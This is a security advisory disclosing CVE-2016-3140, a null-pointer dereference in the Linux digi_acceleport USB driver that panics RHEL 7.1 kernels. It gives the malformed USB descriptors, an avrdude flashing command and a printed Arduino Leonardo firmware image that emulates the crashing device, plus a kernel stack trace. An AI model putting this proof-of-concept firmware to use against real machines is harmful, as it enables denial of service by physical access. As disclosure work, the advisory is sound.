

# OS-S Security Advisory 2016-12

## Linux digi\_acceleport Nullpointer Dereference

Date: March 4<sup>th</sup>, 2016

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CVE: CVE-2016-3140

CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)

Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid USB device descriptors (digi\_acceleport driver)

Severity: Critical. The Kernel panics. A reboot is required.

Ease of Exploitation: Trivial

Vulnerability type: Wrong input validation

Products: RHEL 7.1 including all updates

Kernel-Version: 3.10.0-229.20.1.el7.x86\_64 (for debugging-purposes we used the CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)

Vendor: Red Hat

Vendor contacted: November, 12<sup>th</sup> 2015

### Abstract:

The Kernel 3.10.0-229.20.1.el7.x86\_64 crashes on presentation of a buggy USB device requiring the digi\_acceleport driver.

### Detailed product description:

We confirmed the bug on the following system:

- RHEL 7.1
- Kernel 3.10.0-229.20.1.el7.x86\_64

Further products or kernel versions have not been tested.

How reproducible: Always

Actual results: Kernel crashes.

### Description:

The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo ([github.com/schumilo](https://github.com/schumilo)) using the following device descriptor:

#### [\*] Device-Descriptor

bLength:	0x12
bDescriptorType:	0x1
bcdUSB:	0x200
bDeviceClass:	0x3
bDeviceSubClass:	0x0
bDeviceProtocol:	0x0
bMaxPacketSize:	0x40
idVendor:	0x5c5
idProduct:	0x2
bcdDevice:	0x100
iManufacturer:	0x1
iProduct:	0x2
iSerialNumbers:	0x3
bNumConfigurations:	0x1

The digi\_acceleport driver does not use the num\_ports (struct usb\_serial) value for any kind of sanity checks during the initialization process (digi\_port\_init & digi\_startup). Due to an incomplete sanity check, the driver could try to dereference a null-pointer if a malformed device-descriptor is presented (zero-value for bNumEndpoints or no described endpoint-descriptors).

This results in a crash of the system.

**[\*] Configuration-Descriptor**

bLength:	0x9
bDescriptorType:	0x2
wTotalLength:	0x27
bNumInterfaces:	0x1
bConfigurationValue:	0x1
iConfiguration:	0x0
bmAttributes:	0x0
bMaxPower:	0x31

**[\*] Interface-Descriptor**

bLength:	0x9
bDescriptorType:	0x4
bInterfaceNumber:	0x0
bAlternateSetting:	0x0
bNumEndpoints:	0x0
bInterfaceClass:	0x0
bInterfaceSubClass:	0x0
bInterfaceProtocol:	0x0

**[\*] Endpoint-Descriptor:**

bLength:	0x7
bDescriptorType:	0x5
bEndpointAddress:	0x81
bmAttribut:	0x3
wMaxPacketSize:	0x404
bInterval:	0xc

**[\*] Endpoint-Descriptor:**

bLength:	0x7
bDescriptorType:	0x5
bEndpointAddress:	0x1
bmAttribut:	0x2
wMaxPacketSize:	0x4
bInterval:	0xc

**[\*] Endpoint-Descriptor:**

bLength:	0x7
bDescriptorType:	0x5
bEndpointAddress:	0x82
bmAttribut:	0x1
wMaxPacketSize:	0x4
bInterval:	0xc

**Proof of Concept:**

For a proof of concept, we are providing an Arduino Leonardo firmware file. This firmware will emulate the defective USB device.

```
avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U flash:w:binary.hex
```

The firmware has been attached to this bug report.

To prevent the automated delivery of the payload, a jumper may be used to connect port D3 and 3V3!

**Severity and Ease of Exploitation:**

The vulnerability can be easily exploited. Using our Arduino Leonardo firmware, only physical access to the system is required.

**Vendor Communication:**

We contacted Red Hat on the November, 12<sup>th</sup> 2015.

To this day, no security patch was provided by the vendor.

Since our 90-day Responsible Disclosure deadline is expired, we publish this Security Advisory.

## References:

- [https://bugzilla.redhat.com/show\\_bug.cgi?id=1283378](https://bugzilla.redhat.com/show_bug.cgi?id=1283378)

## Kernel Stacktrace:

```
[ 39.946974] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[ 40.160503] usb 1-1: config 1 interface 0 altsetting 0 has 3 endpoint descriptors, different from the interface
descriptor's value: 0
[ 40.191627] usb 1-1: New USB device found, idVendor=05c5, idProduct=0002
[ 40.200660] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[ 40.210919] usb 1-1: Product: ĉ
[ 40.216028] usb 1-1: Manufacturer: ĉ
[ 40.220047] usb 1-1: SerialNumber: %
[ 40.285649] usbcore: registered new interface driver digi_acceleport
[ 40.295629] usbserial: USB Serial support registered for Digi 2 port USB adapter
[ 40.302062] usbserial: USB Serial support registered for Digi 4 port USB adapter
[ 40.318968] digi_acceleport 1-1:1.0: Digi 2 port USB adapter converter detected
[ 40.327158] BUG: unable to handle kernel NULL pointer dereference at 0000000000000268
[ 40.328013] IP: [<ffffffff81097dca>] __init_waitqueue_head+0xa/0x20
[ 40.328013] PGD 0
[ 40.328013] Oops: 0002 [#1] SMP
[ 40.328013] Modules linked in: digi_acceleport(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_contrack ebtbl_nat
ebtbl_broute bridge stp llc ebtbl_filter ebtbls ip6table_nat nf_contrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6
ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_contrack_ipv4 nf_defrag_ipv4
nf_nat_ipv4 nf_nat nf_contrack iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm ppdev
syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs
libcrc32c sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy
dm_mirror dm_region_hash dm_log dm_mod
[ 40.328013] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted 3.10.0-229.14.1.el7.x86_64 #1
[ 40.328013] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.8.2-0-g33fbe13 by qemu-
project.org 04/01/2014
[ 40.328013] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000
[ 40.328013] RIP: 0010:[<ffffffff81097dca>] [<ffffffff81097dca>] __init_waitqueue_head+0xa/0x20
[ 40.328013] RSP: 0018:ffff88000bd23a30 EFLAGS: 00010282
[ 40.328013] RAX: 0000000000000270 RBX: ffff88000af97d80 RCX: 0000000000000000
[ 40.328013] RDX: ffffffff0397f8 RSI: ffffffff03965777 RDI: 0000000000000268
[ 40.328013] RBP: ffff88000bd23a58 R08: 0000000000016440 R09: ffff88000e401800
[ 40.328013] R10: ffffffff039531a R11: ffff88000c3b9800 R12: 0000000000000000
[ 40.328013] R13: 0000000000000003 R14: ffff88000af97840 R15: ffffffff0397200
[ 40.328013] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000) knlGS:0000000000000000
[ 40.328013] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[ 40.328013] CR2: 0000000000000268 CR3: 000000000cb80000 CR4: 00000000000006f0
[ 40.328013] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 40.328013] DR3: 0000000000000000 DR6: 00000000ffff0f0 DR7: 0000000000000400
[ 40.328013] Stack:
[ 40.328013] ffff88000bd23a58 ffffffff03953bf ffff88000d685d00 ffff88000af97840
[ 40.328013] ffff88000c525830 ffff88000bd23a80 ffffffff0395464 ffff88000bd23a80
[ 40.328013] ffff88000af97858 ffff88000af97858 ffff88000bd23c18 ffffffff8145fed1
[ 40.328013] Call Trace:
[ 40.328013] [<ffffffff03953bf>] ? digi_port_init+0xcf/0x100 [digi_acceleport]
[ 40.328013] [<ffffffff0395464>] digi_startup+0x54/0x98 [digi_acceleport]
[ 40.328013] [<ffffffff8145fed1>] usb_serial_probe+0xdb1/0x1230
[ 40.328013] [<ffffffff812d649c>] ? ida_get_new_above+0x7c/0x2a0
[ 40.328013] [<ffffffff811aba6a>] ? kmem_cache_alloc+0x1ba/0x1d0
[ 40.328013] [<ffffffff8123e5b2>] ? sysfs_addrm_finish+0x42/0xe0
[ 40.328013] [<ffffffff8123e391>] ? __sysfs_add_one+0x61/0x100
[ 40.328013] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0
[ 40.328013] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390
[ 40.328013] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0
[ 40.328013] [<ffffffff813d3420>] ? __device_attach+0x40/0x40
[ 40.328013] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
[ 40.328013] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20
[ 40.328013] [<ffffffff8145ec4b>] usb_serial_register_drivers+0x29b/0x580
[ 40.328013] [<ffffffff039a000>] ? 0xffffffff0399fff
[ 40.328013] [<ffffffff039a01e>] usb_serial_module_init+0x1e/0x1000 [digi_acceleport]
[ 40.328013] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230
[ 40.328013] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40
[ 40.328013] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
[ 40.328013] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150
[ 40.328013] [<ffffffff810dda6>] Sys_finit_module+0xa6/0xd0
[ 40.328013] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b
[ 40.328013] Code: 00 48 c7 c7 50 32 d6 81 e8 74 38 57 00 e9 37 ff ff e8 5a 1a 57 00 e9 61 ff ff 0f 1f 44 00 00 0f
1f 44 00 05 48 8d 47 08 <c7> 07 00 00 00 48 89 e5 48 89 47 08 48 89 47 10 5d c3 0f 1f
[ 40.328013] RIP [<ffffffff81097dca>] __init_waitqueue_head+0xa/0x20
[ 40.328013] RSP <ffff88000bd23a30>
[ 40.328013] CR2: 0000000000000268
[ 40.772818] ---[ end trace b239663354a1c556 ]---
[ 40.778676] Kernel panic - not syncing: Fatal exception
```

[ 40.779642] drm\_kms\_helper: panic occurred, switching back to text console

**Arduino Leonardo Firmware:**

```
:100000000C94A8000C94C5000C94C5000C94C50079
:100010000C94C5000C94C5000C94C5000C94C5004C
:100020000C94C5000C94C5000C94C2050C942D04CE
:100030000C94C5000C94C5000C94C5000C94C5002C
:100040000C94C5000C94C5000C94C5000C94C5001C
:100050000C94C5000C94C5000C94C5000C94C940C02C3
:100060000C94C5000C94C5000C94C5000C94C500FC
:100070000C94C5000C94C5000C94C5000C94C500EC
:100080000C94C5000C94C5000C94C5000C94C500DC
:100090000C94C5000C94C5000C94C5000C94C500CC
:1000A0000C94C5000C94C5000C94C50009030C0306
:1000B000FF0203032D032D032D0310031403180364
:1000C0001E0322032D0328030000000200080E0077
:1000D00000030401000B00000000000000000000D
:1000E00000000000000004080201104080401020C1
:1000F00040804080080204018040201002011080EE
:10010000102040400404040404040304050202020217
:100110000403020202020206060606060604040202A0
:100120000204000000002300260029002C002F00FC
:10013000000000000250028002B002E0031000000E8
:100140000000240027002A002D00300000C180811B
:1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077
:10016000B1E0E0EDF3E102C005900D92A436B107D5
:10017000D9F725E0A4E6B5E001C01D92AF37B2077C
:10018000E1F70E94C8000C9402070C940000089547
:10019000CF93DF93CDB7DEB7CD59D1090FB6F89421
:1001A000DEBF0FBECDBF0E949F020E94C70060E06D
:1001B00083E00E942E0361E087E00E942E0361E04D
:1001C00088E00E942E030E9457067E012AE9E20E73
:1001D000F11C84E093E0D70111969C938E9389E003
:1001E00094E013969C938E93129782E2E2E1F1E001
:1001F0009E012F5F3F4F6901D90101900D928A95B1
:10020000E1F788E1E4E3F1E0DE01939601900D92DD
:100210008A95E1F782E1ECE4F1E0DE01DB96019002
:100220000D928A95E1F789E0EEE5F1E0DE01A05953
:10023000BF4F01900D928A95E1F72A593F4F99E0FF
:10024000992ED901E92D1D92EA95E9F78E010957FA
:100250001F4F87E0E7E6F1E0D80101900D928A9503
:10026000E1F7BE0160587F4F87E0EEE6F1E0DB0189
:1002700001900D928A95E1F7AE0147585F4F87E0F4
:10028000E5E7F1E0DA0101900D928A95E1F75E0170
:10029000FEE8AF0EB11C86E0ECE7F1E0D50101907D
:1002A0000D928A95E1F7CE01835B9F4FEEE0DC0172
:1002B0001D92EA95E9F7E3E0DC011996EC93F90168
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:1002E0001B96FC93EE931A971D96BC92AE921C97A8
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:10032000E1F7F8019387828761E088E00E94670324
:100330008BE492E00E94630688E892E00E946306E4
:1003400087EC92E00E94630686E093E00E946306D9
:1003500082E493E00E9463068FE793E00E946306C5
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:1003700083E00E949D03892B09F047C05E01F3E2F0
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:100390000E946306BF92AF92DF92CF92FF92EF92DC
:1003A0001F928F921F930F932DB73EB722513109A1
:1003B0000FB6F8943EBF0FBE2DBFADB7BEB71196B6
:1003C000FE01FB96892D01900D928A95E1F78DE64D
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:1003E00079028DE695E00E944C0660E087E00E946D
```

:1003F000670368E873E180E090E00E9479020FB63D  
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:1004200011242F933F938F939F93AF93BF9380910A  
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:1004C00026B5A89B05C02F3F19F00196A11DB11DAF  
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:1004E000911D42E0660F771F881F991F4A95D1F72B  
:1004F0000895CF92DF92EF92FF92CF93DF936B013B  
:100500007C010E945602EB01C114D104E104F10404  
:1005100079F00E9456026C1B7D0B683E7340A0F37D  
:1005200081E0C81AD108E108F108C851DC4FECCFCE  
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:100560008083E1E8F0E01082808182608083808176  
:1005700081608083E0E8F0E0808181608083E1E950  
:10058000F0E0808182608083808181608083E0E907  
:10059000F0E0808181608083E1ECF0E08081846024  
:1005A0008083808182608083808181608083E3ECAE  
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:1005C0008083E2ECF0E0808181608083EAE7F0E004  
:1005D000808184608083808182608083808181606B  
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:10085000CF911F910F91FF9008951F920F920FB6A5  
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:10087000CF92DF92EF92FF920F931F932F933F93AC  
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:10095000E0917505F0917605EE0DFF1D89E0DE0151  
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:1009900033E7A32E34E0B32E4AEA842E44E0942EAB  
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:1009E000DE030F900F900F900F9000E010E0E09169  
:1009F0007505F0917605EE0DFF1D0284F385E02D5F  
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:100A10000F939F928F920E948106E0917505F0914D  
:100A20007605EE0DFF1D0284F385E02DEC0DFD1D16  
:100A3000C801880F991FA485B585A80FB91F4D91CE  
:100A40005C910284F385E02DE80FF91F60817181CC  
:100A500080E00E94DE030F5F1F4F0F900F900F90FA  
:100A60000F90C5CF8FEF681A780A8EE0C80ED11CA0  
:100A700097CF8FED94E09F938F930E9481060F9004  
:100A80000F9058C0C8012A8B0E94D3032A892130B5  
:100A9000C1F0233009F04EC08C851F928F9389EFEF  
:100AA00094E09F938F930E94810642E050E062E8B9  
:100AB00071E080E00E94DE030F900F900F900F9086  
:100AC00035C04091000150E060E071E080E00E949C  
:100AD000DE032CC0873071F1883021F481E08093EF  
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